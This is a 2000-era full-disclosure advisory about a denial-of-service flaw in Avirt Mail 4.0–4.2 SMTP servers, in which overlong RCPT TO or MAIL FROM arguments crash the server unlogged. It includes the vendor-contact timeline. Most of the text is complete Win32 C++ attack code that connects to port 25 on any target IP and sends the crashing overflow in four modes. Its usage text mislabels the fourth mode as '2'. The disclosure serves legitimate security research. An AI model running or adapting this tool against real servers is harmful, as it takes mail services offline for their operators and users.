[ SOURCE: http://www.secureroot.com/security/advisories/9735732205.html ] - Issue: ------ Avirt Mail 4.x up to latest version is vulnerable to denial of service while handling a SMTP session. Tested versions: ---------------- Avirt Mail 4.0 (build 4124) - vulnerable Avirt Mail 4.2 (build 4807) - vulnerable Both versions where tested on Windows 98 since I do not have access to the more expensive Windows systems, however any win32 system ought to be vulnerable. Details: -------- When connecting to port 25 on a computer running any of the above mentioned versions of Avirt Mail, it is possible to crash the server by supplying an unusually long from- or recieptant-address. The crash occurs when the connection to the client is closed. If 272 or more characters are supplied after "RCPT TO:" the server will crash as soon as the session is closed and no more connections will be allowed until the server has been restarted. The attack will not be logged by Avirt Mail. The server will crash both if the session is aborted before completing the mail or if a "DATA" command is sent. Wether the connection is closed by quit or by a dropped connection makes no difference. If 556 or more characters are supplied after "MAIL FROM:" there are two possible outcomes: 1. If "RCPT TO:" and "DATA" commands are appended, the server will not crash, the server will store the message with the search-path to the SMTPOut directory at the end of the FROM-line. If a real TO-address where to be used, this will processed as a normal mail. No exception log will be made. 2. If the session is aborted directly after the "MAIL FROM:" command, the server will crash without logging the attack and no more connections will be allowed before the server is restarted. Specification: -------------- These flaws are probably due to insufficient bounds-checking somewhere in the code, leading to an overflow in either the array holding the from- or recieptant-address. The flaws are demonstrated in the attached code (win32 console code). The program when compiled takes two arguments: ip-address type Where type can be one of the following 1 - Overflow in RCPT TO: command. (aborted session) 2 - Overflow in MAIL FROM: command. (aborted session) 3 - Overflow in RCPT TO: command. (finnished session) 2 - Overflow in MAIL FROM: command. (finnished session) >From the researching I have done, these flaws does not seem to be exploitable (in the means of running arbitary code on the computer running the server). Therefore, they do not pose as a direct integrity thread, but mere as a DoS threat. This conclusion may however be proven wrong. Complying to the Software License agreement, I have not in any way tried to reconstruct the sourcecode of Avirt Mail. All conclusions have been made by examining the in- and out-put of the program and the state of processor registers at crash-time. Vendor: ------- Avirt was informed about this by mail Sep 7 2000, with the notice that the information was going to be released as full disclosure in 40 days without further notice if they hadn't issued information by then. Sep 8 2000 Avirt confirmed the mail and told they had forwarded the information to their developers. Avirt has not been in contact since then and no update has been released on their homepage. More than forty days has passed. Information about Avirt and a trial version of Avirt Mail can be found at http://www.avirt.com/ - /Wersion martin_o@algonet.se http://wersion.org/ (this report and the attached file is also available here) -------------------------------------------------------------------------------- /* Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2 wersion@trust-me.com Win32 console code */ #include #include #include #include #define RCPT_SIZE 272 #define FROM_SIZE 556 struct sckssString { char *szBuffer; int nSize; }; char szHELO[] = "HELO anonymous"; char szMAIL[] = "MAIL FROM: "; char szRCPT[] = "RCPT TO: "; char szQUIT[] = "QUIT"; char szDATA[] = "DATA\nTest data\n."; void socksenddata(int socket, sckssString* data) { if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR) { cout << "->" << data->szBuffer << endl; return; } else { cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl; exit(1); } } void socksendendline(int socket) { if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return; else { cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl; exit(1); } } void socksendanum(int socket, unsigned long int num) { char *tempa = new char[num+1]; memset(tempa,'A',num); tempa[num]=0; if(send(socket,tempa,num,NULL)!=SOCKET_ERROR) { cout << "->" << tempa << endl; return; } else { cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl; exit(1); } delete[] tempa; } int main(int argv, char **argc) { if(argv<3) { cout << "Usage: " << argc[0] << " ip-address type" << endl; cout << "Types:" << endl; cout << "1 - Overflow in RCPT TO: command. (aborted session)" << endl; cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl; cout << "3 - Overflow in RCPT TO: command. (finnished session)" << endl; cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl; exit(1); } WORD wVersionRequested = MAKEWORD(1,1); WSADATA wsaData; WSAStartup(wVersionRequested, &wsaData); SOCKADDR_IN saExploit; saExploit.sin_family = PF_INET; saExploit.sin_addr.s_addr = inet_addr(argc[1]); saExploit.sin_port = htons(25); SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (sckExploit == INVALID_SOCKET) { cout << "WSA error (" << WSAGetLastError() << ")" << endl; WSACleanup(); return 1; } if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR) { cout << "WSA error (" << WSAGetLastError() << ")" << endl; shutdown(sckExploit,2); closesocket(sckExploit); WSACleanup(); return 1; } sckssString sckssHelo; sckssHelo.nSize = strlen(szHELO); sckssHelo.szBuffer = new char[sckssHelo.nSize+1]; strcpy(sckssHelo.szBuffer, szHELO); sckssString sckssMail; sckssMail.nSize = strlen(szMAIL); sckssMail.szBuffer = new char[sckssMail.nSize+1]; strcpy(sckssMail.szBuffer, szMAIL); sckssString sckssRcpt; sckssRcpt.nSize = strlen(szRCPT); sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1]; strcpy(sckssRcpt.szBuffer, szRCPT); sckssString sckssQuit; sckssQuit.nSize = strlen(szQUIT); sckssQuit.szBuffer = new char[sckssQuit.nSize+1]; strcpy(sckssQuit.szBuffer, szQUIT); sckssString sckssData; sckssData.nSize = strlen(szDATA); sckssData.szBuffer = new char[sckssData.nSize+1]; strcpy(sckssData.szBuffer, szDATA); cout << "Beginning session..." << endl; switch(atoi(argc[2])) { case 1: { socksenddata(sckExploit,&sckssHelo); socksendendline(sckExploit); socksenddata(sckExploit,&sckssMail); socksendanum(sckExploit,5); socksendendline(sckExploit); socksenddata(sckExploit,&sckssRcpt); cout << "Overflowing RCPT TO:" << endl; socksendanum(sckExploit,RCPT_SIZE); socksendendline(sckExploit); cout << "Aborting session before data." << endl; socksenddata(sckExploit,&sckssQuit); socksendendline(sckExploit); break; } case 2: { socksenddata(sckExploit,&sckssHelo); socksendendline(sckExploit); socksenddata(sckExploit,&sckssMail); cout << "Overflowing MAIL FROM:" << endl; socksendanum(sckExploit,FROM_SIZE); socksendendline(sckExploit); socksenddata(sckExploit,&sckssRcpt); socksendanum(sckExploit,5); socksendendline(sckExploit); cout << "Aborting session before data." << endl; socksenddata(sckExploit,&sckssQuit); socksendendline(sckExploit); break; } case 3: { socksenddata(sckExploit,&sckssHelo); socksendendline(sckExploit); socksenddata(sckExploit,&sckssMail); socksendanum(sckExploit,5); socksendendline(sckExploit); socksenddata(sckExploit,&sckssRcpt); cout << "Overflowing RCPT TO:" << endl; socksendanum(sckExploit,RCPT_SIZE); socksendendline(sckExploit); socksenddata(sckExploit,&sckssData); socksendendline(sckExploit); cout << "Ending session." << endl; socksenddata(sckExploit,&sckssQuit); socksendendline(sckExploit); break; } case 4: { socksenddata(sckExploit,&sckssHelo); socksendendline(sckExploit); socksenddata(sckExploit,&sckssMail); cout << "Overflowing MAIL FROM:" << endl; socksendanum(sckExploit,FROM_SIZE); socksendendline(sckExploit); socksenddata(sckExploit,&sckssRcpt); socksendanum(sckExploit,5); socksendendline(sckExploit); socksenddata(sckExploit,&sckssData); socksendendline(sckExploit); cout << "Ending session." << endl; socksenddata(sckExploit,&sckssQuit); socksendendline(sckExploit); break; } default: { cout << "Type " << argc[2] << " not allowed." << endl; break; } } shutdown(sckExploit,2); closesocket(sckExploit); WSACleanup(); cout << endl << "Ready!" << endl; return 0; }